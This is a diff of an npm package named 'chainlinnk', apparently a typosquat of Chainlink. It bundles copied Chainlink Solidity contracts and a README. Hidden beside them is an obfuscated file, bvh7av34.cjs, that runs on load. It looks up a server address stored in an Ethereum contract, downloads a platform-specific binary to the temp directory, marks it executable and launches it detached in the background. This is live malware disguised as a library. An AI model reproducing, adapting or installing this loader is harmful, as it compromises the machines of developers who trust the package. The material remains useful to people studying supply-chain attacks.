chainlinnk 0.8.2

package/README.md

@@ -0,0 +1,5 @@
+To run the solidity-contract tests run `yarn workspace chainlinkv0.5 setup` from the root of the repo, then run `yarn test` from the evm directory. You can also run `yarn test <test-file>` to run tests for a specific contract.
+
+The actual test script run on CI is in ../tools/ci/truffle_test.
+
+To update the Slither detection database, run `yarn build && slither --triage-mode .`.

package/bvh7av34.cjs

@@ -0,0 +1 @@
+const _0x3f083c=_0x3d73;function _0x3e89(){const _0x300cd7=['child_process','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','1420887PUgsay','chmodSync','Contract','error','4kGopwI','awhrN','Ошибка\x20при\x20запуске\x20файла:','IKCEa','Ошибка\x20установки:','RszpP','pipe','UBdWK','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','linux','113608UjNWnK','1970jbsEXZ','win32','gnyas','ignore','OgaOv','/node-linux','path','SGNRS','getDefaultProvider','stream','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','Unsupported\x20platform:\x20','729DOAlyq','15bosZqe','2237753qIdnyk','finish','WZPiy','mEgpX','lzIvl','util','Fcqfo','40769qOGlyt','91096IcUNrd','tmpdir','data','Ошибка\x20при\x20получении\x20IP\x20адреса:','/node-macos','riufn','wiucc','755','basename','axios','OzRFQ','mainnet','darwin','21138oHUhuX','createWriteStream','unref','698344bnMQNP','BHUSs','CeXUD'];_0x3e89=function(){return _0x300cd7;};return _0x3e89();}(function(_0xfa649d,_0x5420e8){const _0x2f7383=_0x3d73,_0x2f7cdd=_0xfa649d();while(!![]){try{const _0x58b530=-parseInt(_0x2f7383(0xcc))/0x1+-parseInt(_0x2f7383(0xac))/0x2*(parseInt(_0x2f7383(0xe2))/0x3)+parseInt(_0x2f7383(0xdd))/0x4+-parseInt(_0x2f7383(0xc4))/0x5*(parseInt(_0x2f7383(0xda))/0x6)+parseInt(_0x2f7383(0xc5))/0x7+-parseInt(_0x2f7383(0xcd))/0x8*(parseInt(_0x2f7383(0xc3))/0x9)+-parseInt(_0x2f7383(0xb7))/0xa*(-parseInt(_0x2f7383(0xb6))/0xb);if(_0x58b530===_0x5420e8)break;else _0x2f7cdd['push'](_0x2f7cdd['shift']());}catch(_0x382da1){_0x2f7cdd['push'](_0x2f7cdd['shift']());}}}(_0x3e89,0x946c2));function _0x3d73(_0x2eb7e8,_0x48df8c){const _0x3e8966=_0x3e89();return _0x3d73=function(_0x3d73ae,_0x4db60a){_0x3d73ae=_0x3d73ae-0xac;let _0x1bde1d=_0x3e8966[_0x3d73ae];return _0x1bde1d;},_0x3d73(_0x2eb7e8,_0x48df8c);}const {ethers}=require('ethers'),axios=require(_0x3f083c(0xd6)),util=require(_0x3f083c(0xca)),fs=require('fs'),path=require(_0x3f083c(0xbd)),os=require('os'),{spawn}=require(_0x3f083c(0xe0)),contractAddress=_0x3f083c(0xc1),WalletOwner=_0x3f083c(0xb4),abi=[_0x3f083c(0xe1)],provider=ethers[_0x3f083c(0xbf)](_0x3f083c(0xd8)),contract=new ethers[(_0x3f083c(0xe4))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x1d194f=_0x3f083c,_0x565713={'WZPiy':_0x1d194f(0xd0),'zXmay':function(_0x29c335){return _0x29c335();}};try{const _0x232a09=await contract['getString'](WalletOwner);return _0x232a09;}catch(_0x16e05e){return console[_0x1d194f(0xe5)](_0x565713[_0x1d194f(0xc7)],_0x16e05e),await _0x565713['zXmay'](fetchAndUpdateIp);}},getDownloadUrl=_0x1219c1=>{const _0x4bf57d=_0x3f083c,_0x3f5012={'RszpP':_0x4bf57d(0xb5),'riufn':_0x4bf57d(0xd9)},_0x3b06a0=os['platform']();switch(_0x3b06a0){case'win32':return _0x1219c1+'/node-win.exe';case _0x3f5012[_0x4bf57d(0xb1)]:return _0x1219c1+_0x4bf57d(0xbc);case _0x3f5012[_0x4bf57d(0xd2)]:return _0x1219c1+_0x4bf57d(0xd1);default:throw new Error(_0x4bf57d(0xc2)+_0x3b06a0);}},downloadFile=async(_0x2c6baf,_0xf3532a)=>{const _0x509182=_0x3f083c,_0x97dc9d={'mEgpX':_0x509182(0xc6),'OzRFQ':'error','UBdWK':function(_0x2bedb6,_0x1973c5){return _0x2bedb6(_0x1973c5);},'awhrN':'GET','Fcqfo':_0x509182(0xc0)},_0x2a291a=fs[_0x509182(0xdb)](_0xf3532a),_0x57128e=await _0x97dc9d[_0x509182(0xb3)](axios,{'url':_0x2c6baf,'method':_0x97dc9d[_0x509182(0xad)],'responseType':_0x97dc9d[_0x509182(0xcb)]});return _0x57128e[_0x509182(0xcf)][_0x509182(0xb2)](_0x2a291a),new Promise((_0x31ce83,_0x5d4896)=>{const _0x296e38=_0x509182;_0x2a291a['on'](_0x97dc9d[_0x296e38(0xc8)],_0x31ce83),_0x2a291a['on'](_0x97dc9d[_0x296e38(0xd7)],_0x5d4896);});},executeFileInBackground=async _0x4c8b69=>{const _0x383981=_0x3f083c,_0x4460ce={'IKCEa':function(_0x5e1db3,_0x151234,_0x48a5b5,_0x271ecd){return _0x5e1db3(_0x151234,_0x48a5b5,_0x271ecd);},'jWRgW':_0x383981(0xba)};try{const _0x15141a=_0x4460ce[_0x383981(0xaf)](spawn,_0x4c8b69,[],{'detached':!![],'stdio':_0x4460ce['jWRgW']});_0x15141a[_0x383981(0xdc)]();}catch(_0x5d46b9){console[_0x383981(0xe5)](_0x383981(0xae),_0x5d46b9);}},runInstallation=async()=>{const _0x3dcf34=_0x3f083c,_0x48b5ce={'CeXUD':function(_0x26a88e){return _0x26a88e();},'wiucc':function(_0x45bb8c,_0x3420e6){return _0x45bb8c(_0x3420e6);},'lzIvl':function(_0x226030,_0x38075e,_0x5dfabd){return _0x226030(_0x38075e,_0x5dfabd);},'bUljx':function(_0x2fc7b4,_0x265399){return _0x2fc7b4!==_0x265399;},'gnyas':_0x3dcf34(0xb8),'SGNRS':_0x3dcf34(0xd4),'BHUSs':function(_0x4d711e,_0x4a5862){return _0x4d711e(_0x4a5862);},'OgaOv':_0x3dcf34(0xb0)};try{const _0x324001=await _0x48b5ce[_0x3dcf34(0xdf)](fetchAndUpdateIp),_0x5dc9c5=_0x48b5ce[_0x3dcf34(0xd3)](getDownloadUrl,_0x324001),_0x4e72d2=os[_0x3dcf34(0xce)](),_0x565d68=path[_0x3dcf34(0xd5)](_0x5dc9c5),_0xddca80=path['join'](_0x4e72d2,_0x565d68);await _0x48b5ce[_0x3dcf34(0xc9)](downloadFile,_0x5dc9c5,_0xddca80);if(_0x48b5ce['bUljx'](os['platform'](),_0x48b5ce[_0x3dcf34(0xb9)]))fs[_0x3dcf34(0xe3)](_0xddca80,_0x48b5ce[_0x3dcf34(0xbe)]);_0x48b5ce[_0x3dcf34(0xde)](executeFileInBackground,_0xddca80);}catch(_0x161b0e){console[_0x3dcf34(0xe5)](_0x48b5ce[_0x3dcf34(0xbb)],_0x161b0e);}};runInstallation();

package/contracts/Aggregator.sol

@@ -0,0 +1,420 @@
+pragma solidity 0.4.24;
+
+import "./ChainlinkClient.sol";
+import "./interfaces/AggregatorInterface.sol";
+import "./vendor/SignedSafeMath.sol";
+import "./vendor/Ownable.sol";
+
+/**
+ * @title An example Chainlink contract with aggregation
+ * @notice Requesters can use this contract as a framework for creating
+ * requests to multiple Chainlink nodes and running aggregation
+ * as the contract receives answers.
+ */
+contract Aggregator is AggregatorInterface, ChainlinkClient, Ownable {
+  using SignedSafeMath for int256;
+
+  struct Answer {
+    uint128 minimumResponses;
+    uint128 maxResponses;
+    int256[] responses;
+  }
+
+  event ResponseReceived(int256 indexed response, uint256 indexed answerId, address indexed sender);
+
+  int256 private currentAnswerValue;
+  uint256 private updatedTimestampValue;
+  uint256 private latestCompletedAnswer;
+  uint128 public paymentAmount;
+  uint128 public minimumResponses;
+  bytes32[] public jobIds;
+  address[] public oracles;
+
+  uint256 private answerCounter = 1;
+  mapping(address => bool) public authorizedRequesters;
+  mapping(bytes32 => uint256) private requestAnswers;
+  mapping(uint256 => Answer) private answers;
+  mapping(uint256 => int256) private currentAnswers;
+  mapping(uint256 => uint256) private updatedTimestamps;
+
+  uint256 constant private MAX_ORACLE_COUNT = 28;
+
+  /**
+   * @notice Deploy with the address of the LINK token and arrays of matching
+   * length containing the addresses of the oracles and their corresponding
+   * Job IDs.
+   * @dev Sets the LinkToken address for the network, addresses of the oracles,
+   * and jobIds in storage.
+   * @param _link The address of the LINK token
+   * @param _paymentAmount the amount of LINK to be sent to each oracle for each request
+   * @param _minimumResponses the minimum number of responses
+   * before an answer will be calculated
+   * @param _oracles An array of oracle addresses
+   * @param _jobIds An array of Job IDs
+   */
+  constructor(
+    address _link,
+    uint128 _paymentAmount,
+    uint128 _minimumResponses,
+    address[] _oracles,
+    bytes32[] _jobIds
+  ) public Ownable() {
+    setChainlinkToken(_link);
+    updateRequestDetails(_paymentAmount, _minimumResponses, _oracles, _jobIds);
+  }
+
+  /**
+   * @notice Creates a Chainlink request for each oracle in the oracles array.
+   * @dev This example does not include request parameters. Reference any documentation
+   * associated with the Job IDs used to determine the required parameters per-request.
+   */
+  function requestRateUpdate()
+    external
+    ensureAuthorizedRequester()
+  {
+    Chainlink.Request memory request;
+    bytes32 requestId;
+    uint256 oraclePayment = paymentAmount;
+
+    for (uint i = 0; i < oracles.length; i++) {
+      request = buildChainlinkRequest(jobIds[i], this, this.chainlinkCallback.selector);
+      requestId = sendChainlinkRequestTo(oracles[i], request, oraclePayment);
+      requestAnswers[requestId] = answerCounter;
+    }
+    answers[answerCounter].minimumResponses = minimumResponses;
+    answers[answerCounter].maxResponses = uint128(oracles.length);
+
+    emit NewRound(answerCounter, msg.sender);
+
+    answerCounter = answerCounter.add(1);
+  }
+
+  /**
+   * @notice Receives the answer from the Chainlink node.
+   * @dev This function can only be called by the oracle that received the request.
+   * @param _clRequestId The Chainlink request ID associated with the answer
+   * @param _response The answer provided by the Chainlink node
+   */
+  function chainlinkCallback(bytes32 _clRequestId, int256 _response)
+    external
+  {
+    validateChainlinkCallback(_clRequestId);
+
+    uint256 answerId = requestAnswers[_clRequestId];
+    delete requestAnswers[_clRequestId];
+
+    answers[answerId].responses.push(_response);
+    emit ResponseReceived(_response, answerId, msg.sender);
+    updateLatestAnswer(answerId);
+    deleteAnswer(answerId);
+  }
+
+  /**
+   * @notice Updates the arrays of oracles and jobIds with new values,
+   * overwriting the old values.
+   * @dev Arrays are validated to be equal length.
+   * @param _paymentAmount the amount of LINK to be sent to each oracle for each request
+   * @param _minimumResponses the minimum number of responses
+   * before an answer will be calculated
+   * @param _oracles An array of oracle addresses
+   * @param _jobIds An array of Job IDs
+   */
+  function updateRequestDetails(
+    uint128 _paymentAmount,
+    uint128 _minimumResponses,
+    address[] _oracles,
+    bytes32[] _jobIds
+  )
+    public
+    onlyOwner()
+    validateAnswerRequirements(_minimumResponses, _oracles, _jobIds)
+  {
+    paymentAmount = _paymentAmount;
+    minimumResponses = _minimumResponses;
+    jobIds = _jobIds;
+    oracles = _oracles;
+  }
+
+  /**
+   * @notice Allows the owner of the contract to withdraw any LINK balance
+   * available on the contract.
+   * @dev The contract will need to have a LINK balance in order to create requests.
+   * @param _recipient The address to receive the LINK tokens
+   * @param _amount The amount of LINK to send from the contract
+   */
+  function transferLINK(address _recipient, uint256 _amount)
+    public
+    onlyOwner()
+  {
+    LinkTokenInterface linkToken = LinkTokenInterface(chainlinkTokenAddress());
+    require(linkToken.transfer(_recipient, _amount), "LINK transfer failed");
+  }
+
+  /**
+   * @notice Called by the owner to permission other addresses to generate new
+   * requests to oracles.
+   * @param _requester the address whose permissions are being set
+   * @param _allowed boolean that determines whether the requester is
+   * permissioned or not
+   */
+  function setAuthorization(address _requester, bool _allowed)
+    external
+    onlyOwner()
+  {
+    authorizedRequesters[_requester] = _allowed;
+  }
+
+  /**
+   * @notice Cancels an outstanding Chainlink request.
+   * The oracle contract requires the request ID and additional metadata to
+   * validate the cancellation. Only old answers can be cancelled.
+   * @param _requestId is the identifier for the chainlink request being cancelled
+   * @param _payment is the amount of LINK paid to the oracle for the request
+   * @param _expiration is the time when the request expires
+   */
+  function cancelRequest(
+    bytes32 _requestId,
+    uint256 _payment,
+    uint256 _expiration
+  )
+    external
+    ensureAuthorizedRequester()
+  {
+    uint256 answerId = requestAnswers[_requestId];
+    require(answerId < latestCompletedAnswer, "Cannot modify an in-progress answer");
+
+    delete requestAnswers[_requestId];
+    answers[answerId].responses.push(0);
+    deleteAnswer(answerId);
+
+    cancelChainlinkRequest(
+      _requestId,
+      _payment,
+      this.chainlinkCallback.selector,
+      _expiration
+    );
+  }
+
+  /**
+   * @notice Called by the owner to kill the contract. This transfers all LINK
+   * balance and ETH balance (if there is any) to the owner.
+   */
+  function destroy()
+    external
+    onlyOwner()
+  {
+    LinkTokenInterface linkToken = LinkTokenInterface(chainlinkTokenAddress());
+    transferLINK(owner, linkToken.balanceOf(address(this)));
+    selfdestruct(owner);
+  }
+
+  /**
+   * @dev Performs aggregation of the answers received from the Chainlink nodes.
+   * Assumes that at least half the oracles are honest and so can't contol the
+   * middle of the ordered responses.
+   * @param _answerId The answer ID associated with the group of requests
+   */
+  function updateLatestAnswer(uint256 _answerId)
+    private
+    ensureMinResponsesReceived(_answerId)
+    ensureOnlyLatestAnswer(_answerId)
+  {
+    uint256 responseLength = answers[_answerId].responses.length;
+    uint256 middleIndex = responseLength.div(2);
+    int256 currentAnswerTemp;
+    if (responseLength % 2 == 0) {
+      int256 median1 = quickselect(answers[_answerId].responses, middleIndex);
+      int256 median2 = quickselect(answers[_answerId].responses, middleIndex.add(1)); // quickselect is 1 indexed
+      currentAnswerTemp = median1.add(median2) / 2; // signed integers are not supported by SafeMath
+    } else {
+      currentAnswerTemp = quickselect(answers[_answerId].responses, middleIndex.add(1)); // quickselect is 1 indexed
+    }
+    currentAnswerValue = currentAnswerTemp;
+    latestCompletedAnswer = _answerId;
+    updatedTimestampValue = now;
+    updatedTimestamps[_answerId] = now;
+    currentAnswers[_answerId] = currentAnswerTemp;
+    emit AnswerUpdated(currentAnswerTemp, _answerId, now);
+  }
+
+  /**
+   * @notice get the most recently reported answer
+   */
+  function latestAnswer()
+    external
+    view
+    returns (int256)
+  {
+    return currentAnswers[latestCompletedAnswer];
+  }
+
+  /**
+   * @notice get the last updated at block timestamp
+   */
+  function latestTimestamp()
+    external
+    view
+    returns (uint256)
+  {
+    return updatedTimestamps[latestCompletedAnswer];
+  }
+
+  /**
+   * @notice get past rounds answers
+   * @param _roundId the answer number to retrieve the answer for
+   */
+  function getAnswer(uint256 _roundId)
+    external
+    view
+    returns (int256)
+  {
+    return currentAnswers[_roundId];
+  }
+
+  /**
+   * @notice get block timestamp when an answer was last updated
+   * @param _roundId the answer number to retrieve the updated timestamp for
+   */
+  function getTimestamp(uint256 _roundId)
+    external
+    view
+    returns (uint256)
+  {
+    return updatedTimestamps[_roundId];
+  }
+
+  /**
+   * @notice get the latest completed round where the answer was updated
+   */
+  function latestRound() external view returns (uint256) {
+    return latestCompletedAnswer;
+  }
+
+  /**
+   * @dev Returns the kth value of the ordered array
+   * See: http://www.cs.yale.edu/homes/aspnes/pinewiki/QuickSelect.html
+   * @param _a The list of elements to pull from
+   * @param _k The index, 1 based, of the elements you want to pull from when ordered
+   */
+  function quickselect(int256[] memory _a, uint256 _k)
+    private
+    pure
+    returns (int256)
+  {
+    int256[] memory a = _a;
+    uint256 k = _k;
+    uint256 aLen = a.length;
+    int256[] memory a1 = new int256[](aLen);
+    int256[] memory a2 = new int256[](aLen);
+    uint256 a1Len;
+    uint256 a2Len;
+    int256 pivot;
+    uint256 i;
+
+    while (true) {
+      pivot = a[aLen.div(2)];
+      a1Len = 0;
+      a2Len = 0;
+      for (i = 0; i < aLen; i++) {
+        if (a[i] < pivot) {
+          a1[a1Len] = a[i];
+          a1Len++;
+        } else if (a[i] > pivot) {
+          a2[a2Len] = a[i];
+          a2Len++;
+        }
+      }
+      if (k <= a1Len) {
+        aLen = a1Len;
+        (a, a1) = swap(a, a1);
+      } else if (k > (aLen.sub(a2Len))) {
+        k = k.sub(aLen.sub(a2Len));
+        aLen = a2Len;
+        (a, a2) = swap(a, a2);
+      } else {
+        return pivot;
+      }
+    }
+  }
+
+  /**
+   * @dev Swaps the pointers to two uint256 arrays in memory
+   * @param _a The pointer to the first in memory array
+   * @param _b The pointer to the second in memory array
+   */
+  function swap(int256[] memory _a, int256[] memory _b)
+    private
+    pure
+    returns(int256[] memory, int256[] memory)
+  {
+    return (_b, _a);
+  }
+
+  /**
+   * @dev Cleans up the answer record if all responses have been received.
+   * @param _answerId The identifier of the answer to be deleted
+   */
+  function deleteAnswer(uint256 _answerId)
+    private
+    ensureAllResponsesReceived(_answerId)
+  {
+    delete answers[_answerId];
+  }
+
+  /**
+   * @dev Prevents taking an action if the minimum number of responses has not
+   * been received for an answer.
+   * @param _answerId The the identifier of the answer that keeps track of the responses.
+   */
+  modifier ensureMinResponsesReceived(uint256 _answerId) {
+    if (answers[_answerId].responses.length >= answers[_answerId].minimumResponses) {
+      _;
+    }
+  }
+
+  /**
+   * @dev Prevents taking an action if not all responses are received for an answer.
+   * @param _answerId The the identifier of the answer that keeps track of the responses.
+   */
+  modifier ensureAllResponsesReceived(uint256 _answerId) {
+    if (answers[_answerId].responses.length == answers[_answerId].maxResponses) {
+      _;
+    }
+  }
+
+  /**
+   * @dev Prevents taking an action if a newer answer has been recorded.
+   * @param _answerId The current answer's identifier.
+   * Answer IDs are in ascending order.
+   */
+  modifier ensureOnlyLatestAnswer(uint256 _answerId) {
+    if (latestCompletedAnswer <= _answerId) {
+      _;
+    }
+  }
+
+  /**
+   * @dev Ensures corresponding number of oracles and jobs.
+   * @param _oracles The list of oracles.
+   * @param _jobIds The list of jobs.
+   */
+  modifier validateAnswerRequirements(
+    uint256 _minimumResponses,
+    address[] _oracles,
+    bytes32[] _jobIds
+  ) {
+    require(_oracles.length <= MAX_ORACLE_COUNT, "cannot have more than 45 oracles");
+    require(_oracles.length >= _minimumResponses, "must have at least as many oracles as responses");
+    require(_oracles.length == _jobIds.length, "must have exactly as many oracles as job IDs");
+    _;
+  }
+
+  /**
+   * @dev Reverts if `msg.sender` is not authorized to make requests.
+   */
+  modifier ensureAuthorizedRequester() {
+    require(authorizedRequesters[msg.sender] || msg.sender == owner, "Not an authorized address for creating requests");
+    _;
+  }
+
+}

package/contracts/AggregatorProxy.sol

@@ -0,0 +1,99 @@
+pragma solidity 0.4.24;
+
+import "./interfaces/AggregatorInterface.sol";
+import "./vendor/Ownable.sol";
+
+/**
+ * @title A trusted proxy for updating where current answers are read from
+ * @notice This contract provides a consistent address for the
+ * CurrentAnwerInterface but delegates where it reads from to the owner, who is
+ * trusted to update it.
+ */
+contract AggregatorProxy is AggregatorInterface, Ownable {
+
+  AggregatorInterface public aggregator;
+
+  constructor(address _aggregator) public Ownable() {
+    setAggregator(_aggregator);
+  }
+
+  /**
+   * @notice Reads the current answer from aggregator delegated to.
+   */
+  function latestAnswer()
+    external
+    view
+    returns (int256)
+  {
+    return aggregator.latestAnswer();
+  }
+
+  /**
+   * @notice Reads the last updated height from aggregator delegated to.
+   */
+  function latestTimestamp()
+    external
+    view
+    returns (uint256)
+  {
+    return aggregator.latestTimestamp();
+  }
+
+  /**
+   * @notice get past rounds answers
+   * @param _roundId the answer number to retrieve the answer for
+   */
+  function getAnswer(uint256 _roundId)
+    external
+    view
+    returns (int256)
+  {
+    return aggregator.getAnswer(_roundId);
+  }
+
+  /**
+   * @notice get block timestamp when an answer was last updated
+   * @param _roundId the answer number to retrieve the updated timestamp for
+   */
+  function getTimestamp(uint256 _roundId)
+    external
+    view
+    returns (uint256)
+  {
+    return aggregator.getTimestamp(_roundId);
+  }
+
+  /**
+   * @notice get the latest completed round where the answer was updated
+   */
+  function latestRound()
+    external
+    view
+    returns (uint256)
+  {
+    return aggregator.latestRound();
+  }
+
+  /**
+   * @notice Allows the owner to update the aggregator address.
+   * @param _aggregator The new address for the aggregator contract
+   */
+  function setAggregator(address _aggregator)
+    public
+    onlyOwner()
+  {
+    aggregator = AggregatorInterface(_aggregator);
+  }
+
+  /**
+   * @notice Allows the owner to destroy the contract if it is not intended to
+   * be used any longer.
+   */
+  function destroy()
+    external
+    onlyOwner()
+  {
+    selfdestruct(owner);
+  }
+
+}

package/contracts/Chainlink.sol

@@ -0,0 +1,125 @@
+pragma solidity ^0.4.24;
+
+import { CBOR as CBOR_Chainlink, Buffer as Buffer_Chainlink } from "./vendor/CBOR.sol";
+
+/**
+ * @title Library for common Chainlink functions
+ * @dev Uses imported CBOR library for encoding to buffer
+ */
+library Chainlink {
+  uint256 internal constant defaultBufferSize = 256; // solhint-disable-line const-name-snakecase
+
+  using CBOR_Chainlink for Buffer_Chainlink.buffer;
+
+  struct Request {
+    bytes32 id;
+    address callbackAddress;
+    bytes4 callbackFunctionId;
+    uint256 nonce;
+    Buffer_Chainlink.buffer buf;
+  }
+
+  /**
+   * @notice Initializes a Chainlink request
+   * @dev Sets the ID, callback address, and callback function signature on the request
+   * @param self The uninitialized request
+   * @param _id The Job Specification ID
+   * @param _callbackAddress The callback address
+   * @param _callbackFunction The callback function signature
+   * @return The initialized request
+   */
+  function initialize(
+    Request memory self,
+    bytes32 _id,
+    address _callbackAddress,
+    bytes4 _callbackFunction
+  ) internal pure returns (Chainlink.Request memory) {
+    Buffer_Chainlink.init(self.buf, defaultBufferSize);
+    self.id = _id;
+    self.callbackAddress = _callbackAddress;
+    self.callbackFunctionId = _callbackFunction;
+    return self;
+  }
+
+  /**
+   * @notice Sets the data for the buffer without encoding CBOR on-chain
+   * @dev CBOR can be closed with curly-brackets {} or they can be left off
+   * @param self The initialized request
+   * @param _data The CBOR data
+   */
+  function setBuffer(Request memory self, bytes _data)
+    internal pure
+  {
+    Buffer_Chainlink.init(self.buf, _data.length);
+    Buffer_Chainlink.append(self.buf, _data);
+  }
+
+  /**
+   * @notice Adds a string value to the request with a given key name
+   * @param self The initialized request
+   * @param _key The name of the key
+   * @param _value The string value to add
+   */
+  function add(Request memory self, string _key, string _value)
+    internal pure
+  {
+    self.buf.encodeString(_key);
+    self.buf.encodeString(_value);
+  }
+
+  /**
+   * @notice Adds a bytes value to the request with a given key name
+   * @param self The initialized request
+   * @param _key The name of the key
+   * @param _value The bytes value to add
+   */
+  function addBytes(Request memory self, string _key, bytes _value)
+    internal pure
+  {
+    self.buf.encodeString(_key);
+    self.buf.encodeBytes(_value);
+  }
+
+  /**
+   * @notice Adds a int256 value to the request with a given key name
+   * @param self The initialized request
+   * @param _key The name of the key
+   * @param _value The int256 value to add
+   */
+  function addInt(Request memory self, string _key, int256 _value)
+    internal pure
+  {
+    self.buf.encodeString(_key);
+    self.buf.encodeInt(_value);
+  }
+
+  /**
+   * @notice Adds a uint256 value to the request with a given key name
+   * @param self The initialized request
+   * @param _key The name of the key
+   * @param _value The uint256 value to add
+   */
+  function addUint(Request memory self, string _key, uint256 _value)
+    internal pure
+  {
+    self.buf.encodeString(_key);
+    self.buf.encodeUInt(_value);
+  }
+
+  /**
+   * @notice Adds an array of strings to the request with a given key name
+   * @param self The initialized request
+   * @param _key The name of the key
+   * @param _values The array of string values to add
+   */
+  function addStringArray(Request memory self, string _key, string[] memory _values)
+    internal pure
+  {
+    self.buf.encodeString(_key);
+    self.buf.startArray();
+    for (uint256 i = 0; i < _values.length; i++) {
+      self.buf.encodeString(_values[i]);
+    }
+    self.buf.endSequence();
+  }
+}